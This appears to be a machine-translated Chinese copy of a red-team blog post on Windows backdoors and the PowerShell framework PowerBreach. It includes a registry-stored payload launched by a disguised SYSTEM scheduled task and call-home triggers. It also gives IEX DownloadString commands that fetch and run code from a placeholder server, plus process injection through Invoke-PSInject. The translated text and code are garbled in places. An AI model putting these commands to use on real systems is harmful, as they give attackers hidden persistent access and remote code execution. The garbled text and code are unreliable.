用PowerBreach网络改变启发式

自从黑客的黎明以来,已经有许多技术发布到后门Windows系统。从注册表的野外狂野西部到Windows任务调度程序,黑客喜欢找到创造性的方式来维持对他们的征服。虽然后门不必与恶意代码相关,例如恶意添加的用户的情况,通常,后门被认为与其他恶意软件子表单同义。它不是真的…一个后门可以比隐藏在运行键中的RAT更有趣。杰克·威廉姆斯(Jake Williams)和马克·巴格特(Mark Ba​​ggett)的Shmoocon 2013谈话真的让我感动。关于这个话题的博客可以在这里找到。

退一步,让直接从互联网上最权威的来源…维基百科:

后门在计算机系统(或密码系统或算法)是绕过正常的认证,实现对计算机的未经授权的远程访问,获取访问明文,等等的方法,而试图逃避检测的

在我继续评估的范围内,我发现这个概念不是那么简单。后门具有多种质量,值得分解,以了解您作为操作员可用的决策点。此外,没有比您选择的后门是您的单点故障更糟糕的感觉。

重启持续需求

我会认为后门不必重新启动。在其本质上,后门只是一种获取某些目标资源的方法。后门通常有一个持久的组件,但我会说这是一个决定最好留给你想要完成的上下文和场景。在非常简单的网络场景或渗透测试中,网络维护者几乎没有注意力,运行中的持续时间可能适用和有用。像这样的情况,像运行键,服务可执行文件或者App Init DLL这样的东西非常方便。

在更复杂或更恶劣的网络环境中,我经常尝试仅运行95%的内存,仅在似乎是关键地形的区域中重新启动持续性。这可能比必要的更偏执,但通过这样做,我帮助避免主机IDS的问题,并防止在主机上留下工件。在我选择执行重新启动持久性的地方,我更喜欢不使用磁盘上的文件的方法,例如有效载荷的注册表存储。PowerShell可以做得相当简单:

$ backdoor =“”
Set-ItemProperty -Path'HKLM \ HARDWARE'-Name'secret' - 价值$后门
schtasks / create / tn OfficeUpdater / trpowershell.exe -c'IEX(gp HKLM:HARDWARE \ secret).secret'”/ sc onlogon / ru系统

解剖概念

现在,删除持久性的要求,进一步分解网络后门的组件。我喜欢把一个后门作为两个独立的组件,触发器和动作。

触发 – 事件(事件或情况)发生或存在。

动作-  执行

将其应用于黑客和后门程序,触发器是表明黑客想要重新获取信息或系统的信息。这个动作是允许他们访问的事情。在最简单的情况下,后门用户,RDP登录可能是触发器,而成功登录是操作。在稍微更复杂的情况下,例如文件关联劫持,触发器将是打开具有一定扩展名的文件,并且动作将是它们已经放在磁盘上的二进制文件的执行。大多数人可能从来不必将这些视为单独的组件,但是通过这样做,我们可以在如何成功地使用后门系统方面获得很大的灵活性。

通过为您的后门创建不同的触发方法,您可以大大增加在网络内生存的机会。此外,通过采用许多不同的技术,您可以为不同的主机具体情况做好准备。在进行安全评估以测试安全响应的广度和深度时,我对于tradecraft的变化非常信任。与不同动作相关联的不同触发方法可以实现这种变化。

防守旋转

虽然这是一个自然的进攻概念,但也有防御性的教训。通过认识到后门是两个广泛的组成部分,维权者被提供了两个独特的目标。一个完美的对手会改变触发方法和行为,但是由于懒惰或资源限制,这种做法不会发生,而是常常是这样。如果维权者可以认识到对抗性交易中的阻碍点(例如发生的共同行动或正在使用的常见触发方式),则维权者可能能够闯入并寻找积极的对手。

可以用这个概念证明的另一个重要概念是彻底分析的力量。发现单一触发或方法而声称已经“铲除对手”的维权者在分析责任方面是疏忽的。

更多玩具 – PowerBreach

在CarolinaCon 11(2015),@ harmj0y和我在Veil PowerTools上发表了一个演讲。通常,Veil PowerTools是一系列令人反感的PowerShell工具。PowerBreach是家庭中最新的一个,也是失踪的重点领域之一。PowerBreach是在PowerShell中实现的后门/触发器框架的开始。目的是允许Pentester和redteam操作员重新获得先前受到威胁的系统的访问权限,而无需在系统上保留完整的RAT,也可以不必维护会话。

PowerBreach运行是一个PowerShell模块,因此只有在正确使用时才具有内存的质量。它目前提供多种触发选项,如:

  • Invoke-EventLogBackdoor:监视某个用户名失败的RDP登录尝试
  • Invoke-PortBindBackdoor:绑定到TCP端口并查找“魔术”值
  • Invoke-ResolverBackdoor:解析DNS记录,并在更改时将其调回家
  • Invoke-PortKnockBackdoor:启动一个原始的套接字嗅探数据包中的“魔术”值
  • Invoke-LoopBackdoor:在设置的间隔内回拨到某个IP
  • Invoke-DeadUserBackdoor:查找“死”的用户,并在不存在时回叫

当这些事件发生之一时,PowerBreach启动一个回调函数,它当前实现的动作是次级阶段的IEX下载通讯座。我的计划是为包括注册表项和文件的操作添加选项,以便在紧张的情况下有选项。

有关视频演示,请参阅YouTube视频:PowerBreach演示

你可能会问…只要在进程列表中运行一个Powershell.exe呢?另外在CarolinaCon 11,我们发布了对现有模块PowerPick的更新,特别是Invoke-PSInject。简而言之,这允许我们将PowerShell代码注入到使用.NET框架运行的远程进程中。单独的帖子来了这个话题!当与PowerBreach结合使用时,您可以在不同的进程中隐藏PowerShell后门!

走过用例很简单!假设我们拥有对主机的PowerShell提示的当前访问权限。

没有PSInject

*有效载荷被编码为base64 *
IEXNew-Object Net.Webclient).DownloadString(“http//SERVER/powerbreach.ps1”)
Invoke-DeadUserBackdoor -Username BADGUY -CallbackURIhttp// SERVER / payload”-Timeout 500 -Sleep 10 -Domain

PSInject

电话呼叫服务器
cd / var / www
catpowerbreach.ps1> powerbreachmod.ps1
echo'Invoke-DeadUserBackdoor -Username BADGUY -CallbackURI“http:// SERVER / payload”-Timeout 500 -Sleep 10 -Domain'>> powerbreachmod.ps1
powerbreachmod.ps1 | base64> powerbreachmod_enc.ps1

估计的正好
IEXNew-Object Net.Webclient).DownloadString(“http//SERVER/PSInject.ps1”)
Invoke-PSInject -CallbackURI http//SERVER/PowerBreachMod_enc.ps1“)-ProcID <PID>

评论

还没有任何评论,你来说两句吧

你必须 登录 才能发表评论.